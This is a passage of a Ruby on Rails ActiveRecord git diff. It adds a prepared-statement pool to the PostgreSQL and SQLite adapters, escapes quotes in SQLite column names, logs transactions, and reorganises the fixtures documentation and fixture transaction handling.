length; cache.length; end + + def next_key + "a#{@counter + 1}" + end + + def []=(sql, key) + while @max <= cache.size + dealloc(cache.shift.last) + end + @counter += 1 + cache[sql] = key + end + + def clear + cache.each_value do |stmt_key| + dealloc stmt_key + end + cache.clear + end + + private + def cache + @cache[$$] + end + + def dealloc(key) + @connection.query "DEALLOCATE #{key}" + end + end + # Initializes and connects a PostgreSQL adapter. def initialize(connection, logger, connection_parameters, config) super(connection, logger) @@ -254,9 +296,10 @@ module ActiveRecord # @local_tz is initialized as nil to avoid warnings when connect tries to use it @local_tz = nil @table_alias_length = nil - @statements = {} connect + @statements = StatementPool.new @connection, + config.fetch(:statement_limit) { 1000 } if postgresql_version < 80200 raise "Your version of PostgreSQL (#{postgresql_version}) is too old, please upgrade!" @@ -265,11 +308,12 @@ module ActiveRecord @local_tz = execute('SHOW TIME ZONE', 'SCHEMA').first["TimeZone"] end + def self.visitor_for(pool) # :nodoc: + Arel::Visitors::PostgreSQL.new(pool) + end + # Clears the prepared statements cache. def clear_cache! - @statements.each_value do |value| - @connection.query "DEALLOCATE #{value}" - end @statements.clear end @@ -614,9 +658,11 @@ module ActiveRecord # SCHEMA STATEMENTS ======================================== - def recreate_database(name) #:nodoc: + # Drops the database specified on the +name+ attribute + # and creates it again using the provided +options+. + def recreate_database(name, options = {}) #:nodoc: drop_database(name) - create_database(name) + create_database(name, options) end # Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>, @@ -677,12 +723,12 @@ module ActiveRecord binds << [nil, schema] if schema exec_query(<<-SQL, 'SCHEMA', binds).rows.first[0].to_i > 0 - SELECT COUNT(*) - FROM pg_class c - LEFT JOIN pg_namespace n ON n.oid = c.relnamespace - WHERE c.relkind in ('v','r') - AND c.relname = $1 - AND n.nspname = #{schema ? '$2' : 'ANY (current_schemas(false))'} + SELECT COUNT(*) + FROM pg_class c + LEFT JOIN pg_namespace n ON n.oid = c.relnamespace + WHERE c.relkind in ('v','r') + AND c.relname = $1 + AND n.nspname = #{schema ? '$2' : 'ANY (current_schemas(false))'} SQL end @@ -948,6 +994,8 @@ module ActiveRecord end module Utils + extend self + # Returns an array of <tt>[schema_name, table_name]</tt> extracted from +name+. # +schema_name+ is nil if not specified in +name+. # +schema_name+ and +table_name+ exclude surrounding quotes (regardless of whether provided in +name+) @@ -958,7 +1006,7 @@ module ActiveRecord # * <tt>schema_name.table_name</tt> # * <tt>schema_name."table.name"</tt> # * <tt>"schema.name"."table name"</tt> - def self.extract_schema_and_table(name) + def extract_schema_and_table(name) table, schema = name.scan(/[^".\s]+|"[^"]*"/)[0..1].collect{|m| m.gsub(/(^"|"$)/,'') }.reverse [schema, table] end @@ -987,13 +1035,14 @@ module ActiveRecord end def exec_cache(sql, binds) - unless @statements.key? sql - nextkey = "a#{@statements.length + 1}" + sql_key = "#{schema_search_path}-#{sql}" + unless @statements.key? sql_key + nextkey = @statements.next_key @connection.prepare nextkey, sql - @statements[sql] = nextkey + @statements[sql_key] = nextkey end - key = @statements[sql] + key = @statements[sql_key] # Clear the queue @connection.get_last_result diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb index c3a7b039ff..0a0da0b5d3 100644 --- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb @@ -1,4 +1,6 @@ require 'active_record/connection_adapters/sqlite_adapter' + +gem 'sqlite3', '~> 1.3.4' require 'sqlite3' module ActiveRecord diff --git a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb index e2a0f63393..1932a849ee 100644 --- a/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/sqlite_adapter.rb @@ -1,4 +1,6 @@ require 'active_record/connection_adapters/abstract_adapter' +require 'active_record/connection_adapters/statement_pool' +require 'active_support/core_ext/string/encoding' module ActiveRecord module ConnectionAdapters #:nodoc: @@ -47,12 +49,52 @@ module ActiveRecord end end + class StatementPool < ConnectionAdapters::StatementPool + def initialize(connection, max) + super + @cache = Hash.new { |h,pid| h[pid] = {} } + end + + def each(&block); cache.each(&block); end + def key?(key); cache.key?(key); end + def [](key); cache[key]; end + def length; cache.length; end + + def []=(sql, key) + while @max <= cache.size + dealloc(cache.shift.last[:stmt]) + end + cache[sql] = key + end + + def clear + cache.values.each do |hash| + dealloc hash[:stmt] + end + cache.clear + end + + private + def cache + @cache[$$] + end + + def dealloc(stmt) + stmt.close unless stmt.closed? + end + end + def initialize(connection, logger, config) super(connection, logger) - @statements = {} + @statements = StatementPool.new(@connection, + config.fetch(:statement_limit) { 1000 }) @config = config end + def self.visitor_for(pool) # :nodoc: + Arel::Visitors::SQLite.new(pool) + end + def adapter_name #:nodoc: 'SQLite' end @@ -102,10 +144,6 @@ module ActiveRecord # Clears the prepared statements cache. def clear_cache! - @statements.values.map { |hash| hash[:stmt] }.each { |stmt| - stmt.close unless stmt.closed? - } - @statements.clear end @@ -144,7 +182,7 @@ module ActiveRecord end def quote_column_name(name) #:nodoc: - %Q("#{name}") + %Q("#{name.to_s.gsub('"', '""')}") end # Quote date/time values for use in SQL input. Includes microseconds @@ -157,10 +195,25 @@ module ActiveRecord end end - def type_cast(value, column) # :nodoc: - return super unless BigDecimal === value + if "<3".encoding_aware? + def type_cast(value, column) # :nodoc: + return value.to_f if BigDecimal === value + return super unless String === value + return super unless column && value + + value = super + if column.type == :string && value.encoding == Encoding::ASCII_8BIT + @logger.error "Binary data inserted for `string` type on column `#{column.name}`" + value.encode! 'utf-8' + end + value + end + else + def type_cast(value, column) # :nodoc: + return super unless BigDecimal === value - value.to_f + value.to_f + end end # DATABASE STATEMENTS ====================================== @@ -238,15 +291,15 @@ module ActiveRecord end def begin_db_transaction #:nodoc: - @connection.transaction + log('begin transaction',nil) { @connection.transaction } end def commit_db_transaction #:nodoc: - @connection.commit + log('commit transaction',nil) { @connection.commit } end def rollback_db_transaction #:nodoc: - @connection.rollback + log('rollback transaction',nil) { @connection.rollback } end # SCHEMA STATEMENTS ======================================== diff --git a/activerecord/lib/active_record/connection_adapters/statement_pool.rb b/activerecord/lib/active_record/connection_adapters/statement_pool.rb new file mode 100644 index 0000000000..c6b1bc8b5b --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/statement_pool.rb @@ -0,0 +1,40 @@ +module ActiveRecord + module ConnectionAdapters + class StatementPool + include Enumerable + + def initialize(connection, max = 1000) + @connection = connection + @max = max + end + + def each + raise NotImplementedError + end + + def key?(key) + raise NotImplementedError + end + + def [](key) + raise NotImplementedError + end + + def length + raise NotImplementedError + end + + def []=(sql, key) + raise NotImplementedError + end + + def clear + raise NotImplementedError + end + + def delete(key) + raise NotImplementedError + end + end + end +end diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb index 4d387565d9..3c7defedac 100644 --- a/activerecord/lib/active_record/counter_cache.rb +++ b/activerecord/lib/active_record/counter_cache.rb @@ -33,7 +33,7 @@ module ActiveRecord stmt = unscoped.where(arel_table[primary_key].eq(object.id)).arel.compile_update({ arel_table[counter_name] => object.send(association).count }) - connection.update stmt.to_sql + connection.update stmt end return true end diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb index ad7d8cd63c..96870cb338 100644 --- a/activerecord/lib/active_record/errors.rb +++ b/activerecord/lib/active_record/errors.rb @@ -169,4 +169,17 @@ module ActiveRecord @errors = errors end end + + # Raised when a primary key is needed, but there is not one specified in the schema or model. + class UnknownPrimaryKey < ActiveRecordError + attr_reader :model + + def initialize(model) + @model = model + end + + def message + "Unknown primary key for table #{model.table_name} in model #{model}." + end + end end diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb index 3f36dcde14..cad9417216 100644 --- a/activerecord/lib/active_record/fixtures.rb +++ b/activerecord/lib/active_record/fixtures.rb @@ -24,375 +24,368 @@ end class FixturesFileNotFound < StandardError; end -# Fixtures are a way of organizing data that you want to test against; in short, sample data. -# -# = Fixture formats -# -# Fixtures come in 1 flavor: -# -# 1. YAML fixtures -# -# == YAML fixtures -# -# This type of fixture is in YAML format and the preferred default. YAML is a file format which describes data structures -# in a non-verbose, human-readable format. It ships with Ruby 1.8.1+. -# -# Unlike single-file fixtures, YAML fixtures are stored in a single file per model, which are placed -# in the directory appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is -# automatically configured for Rails, so you can just put your files in <tt><your-rails-app>/test/fixtures/</tt>). -# The fixture file ends with the <tt>.yml</tt> file extension (Rails example: -# <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>). The format of a YAML fixture file looks like this: -# -# rubyonrails: -# id: 1 -# name: Ruby on Rails -# url: http://www.rubyonrails.org -# -# google: -# id: 2 -# name: Google -# url: http://www.google.com -# -# This YAML fixture file includes two fixtures. Each YAML fixture (ie. record) is given a name and is followed by an -# indented list of key/value pairs in the "key: value" format. Records are separated by a blank line for your viewing -# pleasure. -# -# Note that YAML fixtures are unordered. If you want ordered fixtures, use the omap YAML type. -# See http://yaml.org/type/omap.html -# for the specification. You will need ordered fixtures when you have foreign key constraints on keys in the same table. -# This is commonly needed for tree structures. Example: -# -# --- !omap -# - parent: -# id: 1 -# parent_id: NULL -# title: Parent -# - child: -# id: 2 -# parent_id: 1 -# title: Child -# -# = Using fixtures in testcases -# -# Since fixtures are a testing construct, we use them in our unit and functional tests. There are two ways to use the -# fixtures, but first let's take a look at a sample unit test: -# -# require 'test_helper' -# -# class WebSiteTest < ActiveSupport::TestCase -# test "web_site_count" do -# assert_equal 2, WebSite.count -# end -# end -# -# By default, the <tt>test_helper module</tt> will load all of your fixtures into your test database, -# so this test will succeed. -# The testing environment will automatically load the all fixtures into the database before each test. -# To ensure consistent data, the environment deletes the fixtures before running the load. -# -# In addition to being available in the database, the fixture's data may also be accessed by -# using a special dynamic method, which has the same name as the model, and accepts the -# name of the fixture to instantiate: -# -# test "find" do -# assert_equal "Ruby on Rails", web_sites(:rubyonrails).name -# end -# -# Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the following tests: -# -# test "find_alt_method_1" do -# assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name'] -# end -# -# test "find_alt_method_2" do -# assert_equal "Ruby on Rails", @rubyonrails.news -# end -# -# In order to use these methods to access fixtured data within your testcases, you must specify one of the -# following in your <tt>ActiveSupport::TestCase</tt>-derived class: -# -# - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above) -# self.use_instantiated_fixtures = true -# -# - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only) -# self.use_instantiated_fixtures = :no_instances -# -# Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully -# traversed in the database to create the fixture hash and/or instance variables. This is expensive for -# large sets of fixtured data. -# -# = Dynamic fixtures with ERB -# -# Some times you don't care about the content of the fixtures as much as you care about the volume. In these cases, you can -# mix ERB in with your YAML fixtures to create a bunch of fixtures for load testing, like: -# -# <% for i in 1..1000 %> -# fix_<%= i %>: -# id: <%= i %> -# name: guy_<%= 1 %> -# <% end %> -# -# This will create 1000 very simple YAML fixtures. -# -# Using ERB, you can also inject dynamic values into your fixtures with inserts like <tt><%= Date.today.strftime("%Y-%m-%d") %></tt>. -# This is however a feature to be used with some caution. The point of fixtures are that they're -# stable units of predictable sample data. If you feel that you need to inject dynamic values, then -# perhaps you should reexamine whether your application is properly testable. Hence, dynamic values -# in fixtures are to be considered a code smell. -# -# = Transactional fixtures -# -# TestCases can use begin+rollback to isolate their changes to the database instead of having to -# delete+insert for every test case. -# -# class FooTest < ActiveSupport::TestCase -# self.use_transactional_fixtures = true -# -# test "godzilla" do -# assert !Foo.all.empty? -# Foo.destroy_all -# assert Foo.all.empty? -# end -# -# test "godzilla aftermath" do -# assert !Foo.all.empty? -# end -# end -# -# If you preload your test database with all fixture data (probably in the Rakefile task) and use transactional fixtures, -# then you may omit all fixtures declarations in your test cases since all the data's already there -# and every case rolls back its changes. -# -# In order to use instantiated fixtures with preloaded data, set +self.pre_loaded_fixtures+ to true. This will provide -# access to fixture data for every table that has been loaded through fixtures (depending on the -# value of +use_instantiated_fixtures+) -# -# When *not* to use transactional fixtures: -# -# 1. You're testing whether a transaction works correctly. Nested transactions don't commit until -# all parent transactions commit, particularly, the fixtures transaction which is begun in setup -# and rolled back in teardown. Thus, you won't be able to verify -# the results of your transaction until Active Record supports nested transactions or savepoints (in progress). -# 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM. -# Use InnoDB, MaxDB, or NDB instead. -# -# = Advanced YAML Fixtures -# -# YAML fixtures that don't specify an ID get some extra features: -# -# * Stable, autogenerated IDs -# * Label references for associations (belongs_to, has_one, has_many) -# * HABTM associations as inline lists -# * Autofilled timestamp columns -# * Fixture label interpolation -# * Support for YAML defaults -# -# == Stable, autogenerated IDs -# -# Here, have a monkey fixture: -# -# george: -# id: 1 -# name: George the Monkey -# -# reginald: -# id: 2 -# name: Reginald the Pirate -# -# Each of these fixtures has two unique identifiers: one for the database -# and one for the humans. Why don't we generate the primary key instead? -# Hashing each fixture's label yields a consistent ID: -# -# george: # generated id: 503576764 -# name: George the Monkey -# -# reginald: # generated id: 324201669 -# name: Reginald the Pirate -# -# Active Record looks at the fixture's model class, discovers the correct -# primary key, and generates it right before inserting the fixture -# into the database. -# -# The generated ID for a given label is constant, so we can discover -# any fixture's ID without loading anything, as long as we know the label. -# -# == Label references for associations (belongs_to, has_one, has_many) -# -# Specifying foreign keys in fixtures can be very fragile, not to -# mention difficult to read. Since Active Record can figure out the ID of -# any fixture from its label, you can specify FK's by label instead of ID. -# -# === belongs_to -# -# Let's break out some more monkeys and pirates. -# -# ### in pirates.yml -# -# reginald: -# id: 1 -# name: Reginald the Pirate -# monkey_id: 1 -# -# ### in monkeys.yml -# -# george: -# id: 1 -# name: George the Monkey -# pirate_id: 1 -# -# Add a few more monkeys and pirates and break this into multiple files, -# and it gets pretty hard to keep track of what's going on. Let's -# use labels instead of IDs: -# -# ### in pirates.yml -# -# reginald: -# name: Reginald the Pirate -# monkey: george -# -# ### in monkeys.yml -# -# george: -# name: George the Monkey -# pirate: reginald -# -# Pow! All is made clear. Active Record reflects on the fixture's model class, -# finds all the +belongs_to+ associations, and allows you to specify -# a target *label* for the *association* (monkey: george) rather than -# a target *id* for the *FK* (<tt>monkey_id: 1</tt>). -# -# ==== Polymorphic belongs_to -# -# Supporting polymorphic relationships is a little bit more complicated, since -# Active Record needs to know what type your association is pointing at. Something -# like this should look familiar: -# -# ### in fruit.rb -# -# belongs_to :eater, :polymorphic => true -# -# ### in fruits.yml -# -# apple: -# id: 1 -# name: apple -# eater_id: 1 -# eater_type: Monkey -# -# Can we do better? You bet! -# -# apple: -# eater: george (Monkey) -# -# Just provide the polymorphic target type and Active Record will take care of the rest. -# -# === has_and_belongs_to_many -# -# Time to give our monkey some fruit. -# -# ### in monkeys.yml -# -# george: -# id: 1 -# name: George the Monkey -# -# ### in fruits.yml -# -# apple: -# id: 1 -# name: apple -# -# orange: -# id: 2 -# name: orange -# -# grape: -# id: 3 -# name: grape -# -# ### in fruits_monkeys.yml -# -# apple_george: -# fruit_id: 1 -# monkey_id: 1 -# -# orange_george: -# fruit_id: 2 -# monkey_id: 1 -# -# grape_george: -# fruit_id: 3 -# monkey_id: 1 -# -# Let's make the HABTM fixture go away. -# -# ### in monkeys.yml -# -# george: -# id: 1 -# name: George the Monkey -# fruits: apple, orange, grape -# -# ### in fruits.yml -# -# apple: -# name: apple -# -# orange: -# name: orange -# -# grape: -# name: grape -# -# Zap! No more fruits_monkeys.yml file. We've specified the list of fruits -# on George's fixture, but we could've just as easily specified a list -# of monkeys on each fruit. As with +belongs_to+, Active Record reflects on -# the fixture's model class and discovers the +has_and_belongs_to_many+ -# associations. -# -# == Autofilled timestamp columns -# -# If your table/model specifies any of Active Record's -# standard timestamp columns (+created_at+, +created_on+, +updated_at+, +updated_on+), -# they will automatically be set to <tt>Time.now</tt>. -# -# If you've set specific values, they'll be left alone. -# -# == Fixture label interpolation -# -# The label of the current fixture is always available as a column value: -# -# geeksomnia: -# name: Geeksomnia's Account -# subdomain: $LABEL -# -# Also, sometimes (like when porting older join table fixtures) you'll need -# to be able to get a hold of the identifier for a given label. ERB -# to the rescue: -# -# george_reginald: -# monkey_id: <%= ActiveRecord::Fixtures.identify(:reginald) %> -# pirate_id: <%= ActiveRecord::Fixtures.identify(:george) %> -# -# == Support for YAML defaults -# -# You probably already know how to use YAML to set and reuse defaults in -# your <tt>database.yml</tt> file. You can use the same technique in your fixtures: -# -# DEFAULTS: &DEFAULTS -# created_on: <%= 3.weeks.ago.to_s(:db) %> -# -# first: -# name: Smurf -# *DEFAULTS -# -# second: -# name: Fraggle -# *DEFAULTS -# -# Any fixture labeled "DEFAULTS" is safely ignored. - module ActiveRecord + # \Fixtures are a way of organizing data that you want to test against; in short, sample data. + # + # They are stored in YAML files, one file per model, which are placed in the directory + # appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically + # configured for Rails, so you can just put your files in <tt><your-rails-app>/test/fixtures/</tt>). + # The fixture file ends with the <tt>.yml</tt> file extension (Rails example: + # <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>). The format of a fixture file looks + # like this: + # + # rubyonrails: + # id: 1 + # name: Ruby on Rails + # url: http://www.rubyonrails.org + # + # google: + # id: 2 + # name: Google + # url: http://www.google.com + # + # This fixture file includes two fixtures. Each YAML fixture (ie. record) is given a name and + # is followed by an indented list of key/value pairs in the "key: value" format. Records are + # separated by a blank line for your viewing pleasure. + # + # Note that fixtures are unordered. If you want ordered fixtures, use the omap YAML type. + # See http://yaml.org/type/omap.html + # for the specification. You will need ordered fixtures when you have foreign key constraints + # on keys in the same table. This is commonly needed for tree structures. Example: + # + # --- !omap + # - parent: + # id: 1 + # parent_id: NULL + # title: Parent + # - child: + # id: 2 + # parent_id: 1 + # title: Child + # + # = Using Fixtures in Test Cases + # + # Since fixtures are a testing construct, we use them in our unit and functional tests. There + # are two ways to use the fixtures, but first let's take a look at a sample unit test: + # + # require 'test_helper' + # + # class WebSiteTest < ActiveSupport::TestCase + # test "web_site_count" do + # assert_equal 2, WebSite.count + # end + # end + # + # By default, <tt>test_helper.rb</tt> will load all of your fixtures into your test database, + # so this test will succeed. + # + # The testing environment will automatically load the all fixtures into the database before each + # test. To ensure consistent data, the environment deletes the fixtures before running the load. + # + # In addition to being available in the database, the fixture's data may also be accessed by + # using a special dynamic method, which has the same name as the model, and accepts the + # name of the fixture to instantiate: + # + # test "find" do + # assert_equal "Ruby on Rails", web_sites(:rubyonrails).name + # end + # + # Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the + # following tests: + # + # test "find_alt_method_1" do + # assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name'] + # end + # + # test "find_alt_method_2" do + # assert_equal "Ruby on Rails", @rubyonrails.news + # end + # + # In order to use these methods to access fixtured data within your testcases, you must specify one of the + # following in your <tt>ActiveSupport::TestCase</tt>-derived class: + # + # - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above) + # self.use_instantiated_fixtures = true + # + # - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only) + # self.use_instantiated_fixtures = :no_instances + # + # Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully + # traversed in the database to create the fixture hash and/or instance variables. This is expensive for + # large sets of fixtured data. + # + # = Dynamic fixtures with ERB + # + # Some times you don't care about the content of the fixtures as much as you care about the volume. + # In these cases, you can mix ERB in with your YAML fixtures to create a bunch of fixtures for load + # testing, like: + # + # <% 1.upto(1000) do |i| %> + # fix_<%= i %>: + # id: <%= i %> + # name: guy_<%= 1 %> + # <% end %> + # + # This will create 1000 very simple fixtures. + # + # Using ERB, you can also inject dynamic values into your fixtures with inserts like + # <tt><%= Date.today.strftime("%Y-%m-%d") %></tt>. + # This is however a feature to be used with some caution. The point of fixtures are that they're + # stable units of predictable sample data. If you feel that you need to inject dynamic values, then + # perhaps you should reexamine whether your application is properly testable. Hence, dynamic values + # in fixtures are to be considered a code smell. + # + # = Transactional Fixtures + # + # Test cases can use begin+rollback to isolate their changes to the database instead of having to + # delete+insert for every test case. + # + # class FooTest < ActiveSupport::TestCase + # self.use_transactional_fixtures = true + # + # test "godzilla" do + # assert !Foo.all.empty? + # Foo.destroy_all + # assert Foo.all.empty? + # end + # + # test "godzilla aftermath" do + # assert !Foo.all.empty? + # end + # end + # + # If you preload your test database with all fixture data (probably in the rake task) and use + # transactional fixtures, then you may omit all fixtures declarations in your test cases since + # all the data's already there and every case rolls back its changes. + # + # In order to use instantiated fixtures with preloaded data, set +self.pre_loaded_fixtures+ to + # true. This will provide access to fixture data for every table that has been loaded through + # fixtures (depending on the value of +use_instantiated_fixtures+). + # + # When *not* to use transactional fixtures: + # + # 1. You're testing whether a transaction works correctly. Nested transactions don't commit until + # all parent transactions commit, particularly, the fixtures transaction which is begun in setup + # and rolled back in teardown. Thus, you won't be able to verify + # the results of your transaction until Active Record supports nested transactions or savepoints (in progress). + # 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM. + # Use InnoDB, MaxDB, or NDB instead. + # + # = Advanced Fixtures + # + # Fixtures that don't specify an ID get some extra features: + # + # * Stable, autogenerated IDs + # * Label references for associations (belongs_to, has_one, has_many) + # * HABTM associations as inline lists + # * Autofilled timestamp columns + # * Fixture label interpolation + # * Support for YAML defaults + # + # == Stable, Autogenerated IDs + # + # Here, have a monkey fixture: + # + # george: + # id: 1 + # name: George the Monkey + # + # reginald: + # id: 2 + # name: Reginald the Pirate + # + # Each of these fixtures has two unique identifiers: one for the database + # and one for the humans. Why don't we generate the primary key instead? + # Hashing each fixture's label yields a consistent ID: + # + # george: # generated id: 503576764 + # name: George the Monkey + # + # reginald: # generated id: 324201669 + # name: Reginald the Pirate + # + # Active Record looks at the fixture's model class, discovers the correct + # primary key, and generates it right before inserting the fixture + # into the database. + # + # The generated ID for a given label is constant, so we can discover + # any fixture's ID without loading anything, as long as we know the label. + # + # == Label references for associations (belongs_to, has_one, has_many) + # + # Specifying foreign keys in fixtures can be very fragile, not to + # mention difficult to read. Since Active Record can figure out the ID of + # any fixture from its label, you can specify FK's by label instead of ID. + # + # === belongs_to + # + # Let's break out some more monkeys and pirates. + # + # ### in pirates.yml + # + # reginald: + # id: 1 + # name: Reginald the Pirate + # monkey_id: 1 + # + # ### in monkeys.yml + # + # george: + # id: 1 + # name: George the Monkey + # pirate_id: 1 + # + # Add a few more monkeys and pirates and break this into multiple files, + # and it gets pretty hard to keep track of what's going on. Let's + # use labels instead of IDs: + # + # ### in pirates.yml + # + # reginald: + # name: Reginald the Pirate + # monkey: george + # + # ### in monkeys.yml + # + # george: + # name: George the Monkey + # pirate: reginald + # + # Pow! All is made clear. Active Record reflects on the fixture's model class, + # finds all the +belongs_to+ associations, and allows you to specify + # a target *label* for the *association* (monkey: george) rather than + # a target *id* for the *FK* (<tt>monkey_id: 1</tt>). + # + # ==== Polymorphic belongs_to + # + # Supporting polymorphic relationships is a little bit more complicated, since + # Active Record needs to know what type your association is pointing at. Something + # like this should look familiar: + # + # ### in fruit.rb + # + # belongs_to :eater, :polymorphic => true + # + # ### in fruits.yml + # + # apple: + # id: 1 + # name: apple + # eater_id: 1 + # eater_type: Monkey + # + # Can we do better? You bet! + # + # apple: + # eater: george (Monkey) + # + # Just provide the polymorphic target type and Active Record will take care of the rest. + # + # === has_and_belongs_to_many + # + # Time to give our monkey some fruit. + # + # ### in monkeys.yml + # + # george: + # id: 1 + # name: George the Monkey + # + # ### in fruits.yml + # + # apple: + # id: 1 + # name: apple + # + # orange: + # id: 2 + # name: orange + # + # grape: + # id: 3 + # name: grape + # + # ### in fruits_monkeys.yml + # + # apple_george: + # fruit_id: 1 + # monkey_id: 1 + # + # orange_george: + # fruit_id: 2 + # monkey_id: 1 + # + # grape_george: + # fruit_id: 3 + # monkey_id: 1 + # + # Let's make the HABTM fixture go away. + # + # ### in monkeys.yml + # + # george: + # id: 1 + # name: George the Monkey + # fruits: apple, orange, grape + # + # ### in fruits.yml + # + # apple: + # name: apple + # + # orange: + # name: orange + # + # grape: + # name: grape + # + # Zap! No more fruits_monkeys.yml file. We've specified the list of fruits + # on George's fixture, but we could've just as easily specified a list + # of monkeys on each fruit. As with +belongs_to+, Active Record reflects on + # the fixture's model class and discovers the +has_and_belongs_to_many+ + # associations. + # + # == Autofilled Timestamp Columns + # + # If your table/model specifies any of Active Record's + # standard timestamp columns (+created_at+, +created_on+, +updated_at+, +updated_on+), + # they will automatically be set to <tt>Time.now</tt>. + # + # If you've set specific values, they'll be left alone. + # + # == Fixture label interpolation + # + # The label of the current fixture is always available as a column value: + # + # geeksomnia: + # name: Geeksomnia's Account + # subdomain: $LABEL + # + # Also, sometimes (like when porting older join table fixtures) you'll need + # to be able to get a hold of the identifier for a given label. ERB + # to the rescue: + # + # george_reginald: + # monkey_id: <%= ActiveRecord::Fixtures.identify(:reginald) %> + # pirate_id: <%= ActiveRecord::Fixtures.identify(:george) %> + # + # == Support for YAML defaults + # + # You probably already know how to use YAML to set and reuse defaults in + # your <tt>database.yml</tt> file. You can use the same technique in your fixtures: + # + # DEFAULTS: &DEFAULTS + # created_on: <%= 3.weeks.ago.to_s(:db) %> + # + # first: + # name: Smurf + # *DEFAULTS + # + # second: + # name: Fraggle + # *DEFAULTS + # + # Any fixture labeled "DEFAULTS" is safely ignored. class Fixtures MAX_ID = 2 ** 30 - 1 @@ -849,9 +842,12 @@ module ActiveRecord @loaded_fixtures = load_fixtures @@already_loaded_fixtures[self.class] = @loaded_fixtures end - ActiveRecord::Base.connection.increment_open_transactions - ActiveRecord::Base.connection.transaction_joinable = false - ActiveRecord::Base.connection.begin_db_transaction + @fixture_connections = enlist_fixture_connections + @fixture_connections.each do |connection| + connection.increment_open_transactions + connection.transaction_joinable = false + connection.begin_db_transaction + end # Load fixtures for every test. else ActiveRecord::Fixtures.reset_cache @@ -871,13 +867,22 @@ module ActiveRecord end # Rollback changes if a transaction is active. - if run_in_transaction? && ActiveRecord::Base.connection.open_transactions != 0 - ActiveRecord::Base.connection.rollback_db_transaction - ActiveRecord::Base.connection.decrement_open_transactions + if run_in_transaction? + @fixture_connections.each do |connection| + if connection.open_transactions != 0 + connection.rollback_db_transaction + connection.decrement_open_transactions + end + end + @fixture_connections.clear end ActiveRecord::Base.clear_active_connections! end + def enlist_fixture_connections + ActiveRecord::Base.connection_handler.connection_pools.values.map(&:connection) + end + private def load_fixtures fixtures = ActiveRecord::Fixtures.create_fixtures(fixture_path, fixture_table_names, fixture_class_names) diff --git a/activerecord/lib/active_record/fixtures/file.rb b/activerecord/lib/active_record/fixtures/file.rb index 04f494db2c..6bad36abb9 100644 --- a/activerecord/lib/active_record/fixtures/file.rb +++ b/activerecord/lib/active_record/fixtures/file.rb @@ -29,11 +29,21 @@ module ActiveRecord rows.each(&block) end + RESCUE_ERRORS = [ ArgumentError ] # :nodoc: + private + if defined?(Psych) && defined?(Psych::SyntaxError) + RESCUE_ERRORS << Psych::SyntaxError + end + def rows return @rows if @rows - data = YAML.load(render(IO.read(@file))) + begin + data = YAML.load(render(IO.read(@file))) + rescue *RESCUE_ERRORS => error + raise Fixture::FormatError, "a YAML error occurred parsing #{@file}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n #{error.class}: #{error}", error.backtrace + end @rows = data ? validate(data).to_a : [] end diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb index 6cfce6e573..d9ad7e4132 100644 --- a/activerecord/lib/active_record/locking/optimistic.rb +++ b/activerecord/lib/active_record/locking/optimistic.rb @@ -70,7 +70,7 @@ module ActiveRecord # If the locking column has no default value set, # start the lock version at zero. Note we can't use - # <tt>locking_enabled?</tt> at this point as + # <tt>locking_enabled?</tt> at this point as # <tt>@attributes</tt> may not have been initialized yet. if result.key?(self.class.locking_column) && lock_optimistically @@ -100,7 +100,7 @@ module ActiveRecord ) ).arel.compile_update(arel_attributes_values(false, false, attribute_names)) - affected_rows = connection.update stmt.to_sql + affected_rows = connection.update stmt unless affected_rows == 1 raise ActiveRecord::StaleObjectError, "Attempted to update a stale object: #{self.class.name}" diff --git a/activerecord/lib/active_record/migration.rb b/activerecord/lib/active_record/migration.rb index 507f345ef5..7166f1b82a 100644 --- a/activerecord/lib/active_record/migration.rb +++ b/activerecord/lib/active_record/migration.rb @@ -332,6 +332,10 @@ module ActiveRecord (delegate || superclass.delegate).send(name, *args, &block) end + def self.migrate(direction) + new.migrate direction + end + cattr_accessor :verbose attr_accessor :name, :version @@ -559,7 +563,7 @@ module ActiveRecord def get_all_versions table = Arel::Table.new(schema_migrations_table_name) - Base.connection.select_values(table.project(table['version']).to_sql).map{ |v| v.to_i }.sort + Base.connection.select_values(table.project(table['version'])).map{ |v| v.to_i }.sort end def current_version @@ -716,11 +720,11 @@ module ActiveRecord if down? @migrated_versions.delete(version) stmt = table.where(table["version"].eq(version.to_s)).compile_delete - Base.connection.delete stmt.to_sql + Base.connection.delete stmt else @migrated_versions.push(version).sort! stmt = table.compile_insert table["version"] => version.to_s - Base.connection.insert stmt.to_sql + Base.connection.insert stmt end end diff --git a/activerecord/lib/active_record/migration/command_recorder.rb b/activerecord/lib/active_record/migration/command_recorder.rb index 2eeff7e36f..ffee5a081a 100644 --- a/activerecord/lib/active_record/migration/command_recorder.rb +++ b/activerecord/lib/active_record/migration/command_recorder.rb @@ 